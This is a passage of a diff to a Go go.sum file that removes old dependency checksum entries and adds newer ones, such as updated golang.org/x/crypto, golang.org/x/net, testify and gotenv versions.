h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= -github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= -github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= -github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= -github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= -github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= -github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= -github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= -github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= +github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= -go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= -go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= -go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= -go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= -go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ= -go.etcd.io/etcd/client/v2 v2.305.4/go.mod h1:Ud+VUwIi9/uQHOMA+4ekToJ12lTxlv0zB/+DHwTGEbU= -go.etcd.io/etcd/client/v3 v3.5.4/go.mod h1:ZaRkVgBZC+L+dLCjTcF1hRXpgZXQPOvnA/Ak/gq3kiY= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= -go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= -go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= -go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= -go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= -go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= -go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= -go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= -go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= -golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= -golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= -golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= +golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -686,7 +319,6 @@ golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRu golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -697,27 +329,20 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -734,26 +359,12 @@ golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81R golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= -golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= +golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -763,41 +374,23 @@ golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210402161424-2e8d93401602/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod 